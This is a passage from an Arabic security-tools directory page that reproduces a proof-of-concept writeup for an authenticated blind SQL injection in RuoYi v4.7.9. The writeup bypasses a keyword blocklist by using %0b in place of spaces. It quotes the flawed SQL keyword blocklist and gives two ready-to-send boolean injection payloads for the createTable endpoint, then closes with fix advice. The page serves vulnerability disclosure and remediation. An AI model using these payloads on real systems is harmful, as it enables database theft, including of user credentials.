Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2024-57521-SQL-Injection-PoC — استغلال إثبات المفهوم لحقن SQL أعمى لـ RuoYi v4.7.9، يتجاوز مرشح CVE-2024-42900 لتفريغ قواعد البيانات عبر حقن قائم على منطقي مصادق عليه. | Kitploit
أدوات/GitHubGitHub/mrlihd/cve-2024-57521-sql-injection-poc
توليد الحمولةتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقأمن قواعد البيانات
GitHubmrlihd/cve-2024-57521-sql-injection-poc

CVE-2024-57521-SQL-Injection-PoC

استغلال إثبات المفهوم لحقن SQL أعمى لـ RuoYi v4.7.9، يتجاوز مرشح CVE-2024-42900 لتفريغ قواعد البيانات عبر حقن قائم على منطقي مصادق عليه.

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
عرض المستودع
2منذ 8 أشهرلم تتم المراجعة بعد
مشاركة

حقن SQL بعد المصادقة في RuoYi v4.7.9 (تجاوز CVE-2024-42900)

مقدمة

اكتشفت ثغرة حقن SQL أعمى (Blind SQL Injection) في ميزة createTable في إطار العمل RuoYi Framework الإصدار v4.7.9. تتيح هذه الثغرة لمسؤول مُصادَق عليه تنفيذ أوامر SQL عشوائية عبر المعامل sql. وهي تمثل تجاوزًا لإصلاح CVE-2024-42900 نظرًا لأن مرشح حقن SQL في طريقة filterKeyword غير كافٍ، ويمكن تجاوز التعبير النمطي (regex) باستخدام %0b كبديل للمسافات.

الإصدار المتأثر

المنتج: RuoYi Framework
الإصدار: ≤ 4.7.9
الرابط: [Ruoyi]

تحليل الثغرة

تم العثور على الثغرة في الملف https://github.com/yangzongzhuan/RuoYi/blob/master/ruoyi-common/src/main/java/com/ruoyi/common/utils/sql/SqlUtil.java كما يلي. يعتمد التطبيق على كلمات مفتاحية في قائمة سوداء لتصفية هجمات حقن SQL، وهذا الأسلوب عرضة للتجاوز. في هذه الحالة، ولإصلاح CVE-2024-42900، تمت إضافة السلسلة إلى القائمة السوداء، لكن التطبيق لا يزال لا يحظر الحرف ، لذا يمكنني استخدامه لتفعيل حقن SQL عبر .

/*
%0b
select%0b
root@kitploit:~
public class SqlUtil
{
    /**
     * 定义常用的 sql关键字
     */
    public static String SQL_REGEX = "and |extractvalue|updatexml|sleep|exec |insert |select |delete |update |drop |count |chr |mid |master |truncate |char |declare |or |union |like |+|/*|user()";
    // Note the space after 'select '
    public static void filterKeyword(String value)
    {
        if (StringUtils.isEmpty(value))
        {
            return;
        }
        String[] sqlKeywords = StringUtils.split(SQL_REGEX, "\\|");
        for (String sqlKeyword : sqlKeywords)
        {
            if (StringUtils.indexOfIgnoreCase(value, sqlKeyword) > -1)
            {
                throw new UtilException("参数存在SQL注入风险");
            }
        }
    }
}

التعبير النمطي select يطابق select (متبوعًا بمسافة). ولا يطابق select%0b، وهو فاصل صالح في SQL.

خطوات إعادة إنتاج حقن SQL المنطقي (Boolean-based SQL Injection)

  1. سجّل الدخول كمسؤول
  2. أرسل طلب createTable (النقطة الضعيفة /tool/gen/createTable)
    a. حقن استعلام TRUE: true-query
    root@kitploit:~
    sql=CREATE%20table%20j2iz96_666%20as%20SELECT%0b111%20FROM%20sys_job%20WHERE%201%3d0%20AND%0bIF(ascii(substring((select%0b%40%40version)%2c18%2c1))%3d45%2c%201%2c%201%2f0)%3b
    
    b. حقن استعلام FALSE: false-query
    root@kitploit:~
    sql=CREATE%20table%20j2iz96_665%20as%20SELECT%0b111%20FROM%20sys_job%20WHERE%201%3d0%20AND%0bIF(ascii(substring((select%0b%40%40version)%2c5%2c1))%3d44%2c%201%2c%201%2f0)%3b
    

تنبيه: يجب تغيير اسم الجدول في استعلام CREATE بعد كل استعلام ناجح. 3. باستخدام حقن SQL المنطقي، يمكن استخراج البيانات باستخدام [poc] بلغة بايثون في هذا المستودع
الاستخدام
poc-usage
poc لاستخراج إصدار قاعدة البيانات
poc-db-version

التأثير

يمكن للمهاجم الذي يمتلك صلاحيات إدارية تفريغ قاعدة البيانات بالكامل، بما في ذلك بيانات اعتماد المستخدمين الآخرين وإعدادات النظام.

التوصيات

  1. قم بتصفية الحرف %0b.
  2. قم بتصفية الكلمة المفتاحية select بدلاً من select (أزل المسافة في النهاية)
  3. قم بتحديث CMS إلى الإصدار 4.8.0 من Ruoyi CMS
تنزيل الأداة